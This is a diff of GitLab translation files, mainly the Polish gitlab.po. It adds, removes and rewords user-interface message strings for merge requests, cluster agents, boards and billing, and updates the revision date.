@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/pl_PL/gitlab.po b/locale/pl_PL/gitlab.po
index 215c0dca0ed..390d681acc5 100644
--- a/locale/pl_PL/gitlab.po
+++ b/locale/pl_PL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr " %{start} do %{end}"
@@ -70,9 +70,6 @@ msgstr "„%{path}†nie istniaÅ‚o na „%{ref}â€"
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr "Rozmiar (%{repository_size}) w „%{repository_name}†jest większy niż limit %{limit}."
-msgid "\"el\" parameter is required for createInstance()"
-msgstr "Parametr „el†jest wymagany dla createInstance()"
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -303,6 +300,13 @@ msgstr[1] "%d poprawione wyniki testu"
msgstr[2] "%d poprawionych wyników testu"
msgstr[3] "%d poprawionego wyniku testu"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d grupa"
@@ -373,6 +377,13 @@ msgstr[1] "%d merge requesty, do których nie masz dostępu."
msgstr[2] "%d merge requestów, do których nie masz dostępu."
msgstr[3] "%d merge requestu, do którego nie masz dostępu."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d metryka"
@@ -464,6 +475,13 @@ msgstr[1] "%d wybrane fragmenty"
msgstr[2] "%d wybranych fragmentów"
msgstr[3] "%d wybranego fragmentu"
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d tag"
@@ -537,6 +555,12 @@ msgstr[3] "%s dodatkowego commitu zostało pominięte, aby zapobiec problemom z
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} i %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr "%{address} nie jest prawidłowym zakresem adresów IP"
@@ -623,6 +647,13 @@ msgstr[3] "%{count} zatwierdzenia wymagane od %{name}"
msgid "%{count} approvals from %{name}"
msgstr "%{count} zatwierdzeń od %{name}"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} files touched"
msgstr "%{count} plików zmieniono"
@@ -851,7 +882,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -905,6 +936,9 @@ msgstr "%{name} znalazło %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr "%{name} jest już używane w innym emoji"
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name} jest zaplanowane na %{action}"
@@ -939,9 +973,6 @@ msgstr "%{oneWeekAgo} – %{today}"
msgid "%{oneYearAgo} - %{today}"
msgstr "%{oneYearAgo} – %{today}"
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics} otwarte, %{closedEpics} zamknięte"
@@ -966,6 +997,9 @@ msgstr "%{placeholder} nie jest prawidłowym motywem"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} nie może zostać dodany: %{error}"
@@ -1000,6 +1034,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds}s"
@@ -1050,9 +1087,6 @@ msgstr "%{spanStart}w%{spanEnd} %{errorFn}"
msgid "%{start} to %{end}"
msgstr "%{start} do %{end}"
-msgid "%{state} epics"
-msgstr "%{state} epiki"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1165,6 +1199,9 @@ msgstr "%{total} waga otwartego problemu"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "%{total} ostrzeżeń znaleziono: pokazano pierwsze %{warningsDisplayed}"
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (nie może zmergować)"
@@ -1298,6 +1335,13 @@ msgstr "(usunięto)"
msgid "(revoked)"
msgstr "(unieważnione)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "(this user)"
msgstr ""
@@ -1307,6 +1351,9 @@ msgstr "(potrzebujemy Twojego aktualnego hasła, aby potwierdzić zmiany)"
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr "+ %{amount} więcej"
@@ -1347,6 +1394,9 @@ msgstr "+%{more_reviewers_count} recenzentów"
msgid "+%{tags} more"
msgstr "+%{tags} więcej"
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", lub "
@@ -1702,9 +1752,6 @@ msgstr "Nowe Wydanie %{tag} dla %{name} zostało opublikowane. Odwiedź %{releas
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr "Nowe Wydanie %{tag} dla %{name} zostało opublikowane. Odwiedź Stronę wydań, by dowiedzieć się o nim więcej:"
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "Nowy branch zostanie utworzony w Twoim fork'u i nowy merge request zostanie otworzony."
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1741,9 +1788,6 @@ msgstr "Rebase jest już w trakcie wykonywania"
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Logowanie do Twojego konta zostało dokonane z następującego adresu IP: %{ip}"
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr "Ciąg dołączony do ścieżki projektu w celu utworzenia adresu e-mail Service Desk."
-
msgid "A title is required"
msgstr "Tytuł jest wymagany"
@@ -1792,9 +1836,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1930,9 +1971,6 @@ msgstr "Tokeny dostępu"
msgid "Access denied for your LDAP account."
msgstr "Odmowa dostępu dla Twojego konta LDAP."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "Dostęp zabroniony! Sprawdź, czy możesz dodać klucze wdrażania do tego repozytorium."
-
msgid "Access denied: %{error}"
msgstr "Odmowa dostępu: %{error}"
@@ -2179,12 +2217,18 @@ msgstr "Dodaj listÄ™ numerowanÄ…"
msgid "Add a related issue"
msgstr "Dodaj powiązane zgłoszenie"
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Dodaj tabelÄ™"
msgid "Add a task list"
msgstr "Dodaj listę zadań"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr "Dodaj zadanie"
@@ -2227,6 +2271,12 @@ msgstr "Dodaj wiadomości commitu jako komentarze do zadań Asana. %{docs_link}"
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "Dodaj zamrożenie wdrożenia"
@@ -2269,9 +2319,6 @@ msgstr "Dodaj nowÄ… aplikacjÄ™"
msgid "Add new directory"
msgstr "Dodaj nowy katalog"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr "Dodaj lub usuń poprzednio zmergowane commity"
@@ -2341,6 +2388,9 @@ msgstr "Dodaj użytkowników do grupy"
msgid "Add variable"
msgstr "Dodaj zmiennÄ…"
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "Dodaj webhook"
@@ -2386,9 +2436,6 @@ msgstr "Dodano zadanie."
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr "Dodano do tego merge requestu"
@@ -2431,8 +2478,8 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr "Dodaje %{labels} %{label_text}."
-msgid "Adds a Zoom meeting"
-msgstr "Dodaje spotkanie Zoom"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr "Dodaje zadanie."
@@ -2440,7 +2487,7 @@ msgstr "Dodaje zadanie."
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2536,6 +2583,9 @@ msgstr "Najnowsi użytkownicy"
msgid "AdminArea|Maintainer"
msgstr "Opiekun"
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr "Nowa grupa"
@@ -2602,7 +2652,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3139,19 +3189,28 @@ msgstr "Ustawienia zaawansowane"
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "Po udanej aktualizacji hasła zostaniesz przekierowany do ekranu logowania."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "Po udanej aktualizacji hasła, zostaniesz przekierowany na stronę logowania, gdzie można zalogować się przy użyciu nowego hasła."
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3742,9 +3801,6 @@ msgstr "Powiadomienie e-mail zostało niedawno wysłane z panelu administratora.
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "Puste pole Użytkownika GitLabu doda imię i nazwisko użytkownika FogBugz (np. \"John Smith\") w opisie wszystkich zgłoszeń i komentarzy. Będzie również kojarzyć te zgłoszenia i komentarze z twórcą projektu i/lub mu je przypisywać."
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr "Wystapił błąd"
@@ -3772,6 +3828,9 @@ msgstr "Wystąpił błąd podczas wczytywania danych pola rozwijanego."
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3931,6 +3990,9 @@ msgstr "Wystąpił błąd podczas ładowania wszystkich plików."
msgid "An error occurred while loading chart data"
msgstr "Wystąpił błąd podczas ładowania danych wykresu"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4115,6 +4177,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4154,6 +4219,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4196,9 +4264,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4211,9 +4276,6 @@ msgstr ""
msgid "Any namespace"
msgstr "Dowolna przestrzeń nazw"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr "ID aplikacji"
@@ -4272,6 +4334,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4282,6 +4347,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4704,6 +4772,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4909,6 +4980,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -5010,6 +5084,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5658,6 +5735,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5737,6 +5817,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5746,12 +5829,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5764,6 +5856,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5859,6 +5954,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5871,6 +5969,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6162,10 +6263,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6174,6 +6278,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6421,6 +6528,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6715,10 +6825,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6769,9 +6879,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6784,6 +6891,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6847,10 +6957,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6914,6 +7024,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6930,9 +7043,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7131,9 +7241,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7431,6 +7538,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7473,6 +7583,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7515,12 +7628,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7542,16 +7649,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7563,9 +7685,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7575,6 +7718,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7584,28 +7730,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7617,6 +7766,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7629,60 +7781,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
